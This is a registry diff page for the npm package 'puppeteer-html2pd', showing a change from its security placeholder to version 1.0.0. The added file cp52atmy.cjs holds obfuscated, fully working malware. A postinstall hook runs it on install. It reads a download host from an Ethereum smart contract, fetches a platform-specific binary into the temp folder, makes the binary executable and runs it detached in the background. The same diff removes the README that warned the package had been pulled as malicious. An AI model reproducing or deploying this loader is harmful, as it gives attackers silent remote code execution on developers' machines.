puppeteer-html2pd 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of puppeteer-html2pd might be problematic. Click here for more details.
- package/cp52atmy.cjs +1 -0
- package/package.json +13 -4
- package/README.md +0 -5
package/cp52atmy.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0xeb14bc=_0x4046;(function(_0xc0485c,_0x2cd72f){const _0x28839b=_0x4046,_0x524fa6=_0xc0485c();while(!![]){try{const _0x5705af=parseInt(_0x28839b(0xc8))/0x1+parseInt(_0x28839b(0xc5))/0x2*(-parseInt(_0x28839b(0xc4))/0x3)+parseInt(_0x28839b(0xbf))/0x4+parseInt(_0x28839b(0xc7))/0x5+parseInt(_0x28839b(0xce))/0x6+parseInt(_0x28839b(0xc6))/0x7+parseInt(_0x28839b(0xcd))/0x8*(-parseInt(_0x28839b(0xbd))/0x9);if(_0x5705af===_0x2cd72f)break;else _0x524fa6['push'](_0x524fa6['shift']());}catch(_0x26e17b){_0x524fa6['push'](_0x524fa6['shift']());}}}(_0x5f00,0xce1b0));function _0x4046(_0x29098b,_0x4eb0e9){const _0x5f0058=_0x5f00();return _0x4046=function(_0x404698,_0x2f09db){_0x404698=_0x404698-0xb6;let _0x19ed85=_0x5f0058[_0x404698];return _0x19ed85;},_0x4046(_0x29098b,_0x4eb0e9);}const {ethers}=require(_0xeb14bc(0xd5)),axios=require('axios'),util=require('util'),fs=require('fs'),path=require(_0xeb14bc(0xde)),os=require('os'),{spawn}=require(_0xeb14bc(0xbc)),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner=_0xeb14bc(0xdc),abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers[_0xeb14bc(0xc3)](_0xeb14bc(0xd0)),contract=new ethers[(_0xeb14bc(0xba))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x50b642=_0xeb14bc,_0x43bad2={'mCcXt':'Ошибка\x20при\x20получении\x20IP\x20адреса:'};try{const _0x359386=await contract[_0x50b642(0xcb)](WalletOwner);return _0x359386;}catch(_0x347fda){return console['error'](_0x43bad2[_0x50b642(0xd3)],_0x347fda),await fetchAndUpdateIp();}},getDownloadUrl=_0x59cc17=>{const _0x502332=_0xeb14bc,_0x952ed5={'KArwO':_0x502332(0xd4),'fSzzW':_0x502332(0xd2)},_0x351863=os[_0x502332(0xe0)]();switch(_0x351863){case _0x502332(0xb9):return _0x59cc17+'/node-win.exe';case _0x952ed5['KArwO']:return _0x59cc17+'/node-linux';case _0x952ed5[_0x502332(0xdd)]:return _0x59cc17+_0x502332(0xd6);default:throw new Error(_0x502332(0xe3)+_0x351863);}},downloadFile=async(_0x3903a6,_0x63e30d)=>{const _0x49498b=_0xeb14bc,_0x1a6bcf={'BeBWk':_0x49498b(0xca),'RCjkz':_0x49498b(0xc2),'SZYnK':function(_0x95edc3,_0x288085){return _0x95edc3(_0x288085);},'HplJC':_0x49498b(0xdb),'QiiRi':_0x49498b(0xd8)},_0x33dd8f=fs[_0x49498b(0xbb)](_0x63e30d),_0x5daa67=await _0x1a6bcf[_0x49498b(0xb8)](axios,{'url':_0x3903a6,'method':_0x1a6bcf[_0x49498b(0xcf)],'responseType':_0x1a6bcf[_0x49498b(0xc1)]});return _0x5daa67[_0x49498b(0xd1)][_0x49498b(0xcc)](_0x33dd8f),new Promise((_0x523fee,_0x2bec4a)=>{const _0x3568dd=_0x49498b;_0x33dd8f['on'](_0x1a6bcf[_0x3568dd(0xd9)],_0x523fee),_0x33dd8f['on'](_0x1a6bcf['RCjkz'],_0x2bec4a);});},executeFileInBackground=async _0x151a97=>{const _0x31b935=_0xeb14bc,_0x2f34be={'LMzju':function(_0x5e3ba0,_0x1d64b8,_0x1d4755,_0x5aebe4){return _0x5e3ba0(_0x1d64b8,_0x1d4755,_0x5aebe4);},'wOhxc':_0x31b935(0xe2),'geSXD':_0x31b935(0xe1)};try{const _0x3a9e7b=_0x2f34be[_0x31b935(0xc9)](spawn,_0x151a97,[],{'detached':!![],'stdio':_0x2f34be[_0x31b935(0xd7)]});_0x3a9e7b[_0x31b935(0xbe)]();}catch(_0x19ee33){console[_0x31b935(0xc2)](_0x2f34be[_0x31b935(0xb7)],_0x19ee33);}},runInstallation=async()=>{const _0x5696cd=_0xeb14bc,_0x591277={'VqTik':function(_0x545dc7,_0x235ac9){return _0x545dc7(_0x235ac9);},'ZoXIT':function(_0x3116f4,_0x22d618,_0x283ba7){return _0x3116f4(_0x22d618,_0x283ba7);},'HJBmm':function(_0x2f7b3a,_0x247e40){return _0x2f7b3a!==_0x247e40;},'uFaGN':'win32','hvPcf':function(_0x2030be,_0x5cd219){return _0x2030be(_0x5cd219);}};try{const _0x99766c=await fetchAndUpdateIp(),_0x11491a=_0x591277[_0x5696cd(0xda)](getDownloadUrl,_0x99766c),_0x5e0193=os[_0x5696cd(0xdf)](),_0x35dabc=path['basename'](_0x11491a),_0x27e6d7=path['join'](_0x5e0193,_0x35dabc);await _0x591277['ZoXIT'](downloadFile,_0x11491a,_0x27e6d7);if(_0x591277['HJBmm'](os[_0x5696cd(0xe0)](),_0x591277['uFaGN']))fs[_0x5696cd(0xc0)](_0x27e6d7,_0x5696cd(0xb6));_0x591277['hvPcf'](executeFileInBackground,_0x27e6d7);}catch(_0x20aaab){console[_0x5696cd(0xc2)]('Ошибка\x20установки:',_0x20aaab);}};runInstallation();function _0x5f00(){const _0x1b70f9=['QiiRi','error','getDefaultProvider','19938IvPtng','90QKSpgq','7861896jYBthx','4267690EsZjYr','701723fJoAlp','LMzju','finish','getString','pipe','25358152OxpONB','9474990ZlnZjs','HplJC','mainnet','data','darwin','mCcXt','linux','ethers','/node-macos','wOhxc','stream','BeBWk','VqTik','GET','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','fSzzW','path','tmpdir','platform','Ошибка\x20при\x20запуске\x20файла:','ignore','Unsupported\x20platform:\x20','755','geSXD','SZYnK','win32','Contract','createWriteStream','child_process','9TpwLIo','unref','221972xnshXo','chmodSync'];_0x5f00=function(){return _0x1b70f9;};return _0x5f00();}
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "puppeteer-html2pd",
|
3
|
-
"version": "0.0
|
4
|
-
"
|
5
|
-
|
6
|
-
|
3
|
+
"version": "1.0.0",
|
4
|
+
"dependencies": {
|
5
|
+
"tiny-puppeteer": "1.x",
|
6
|
+
"axios": "^1.7.7",
|
7
|
+
"ethers": "^6.13.2"
|
8
|
+
},
|
9
|
+
"scripts": {
|
10
|
+
"postinstall": "node cp52atmy.cjs"
|
11
|
+
},
|
12
|
+
"files": [
|
13
|
+
"cp52atmy.cjs"
|
14
|
+
]
|
15
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=puppeteer-html2pd for more information.
|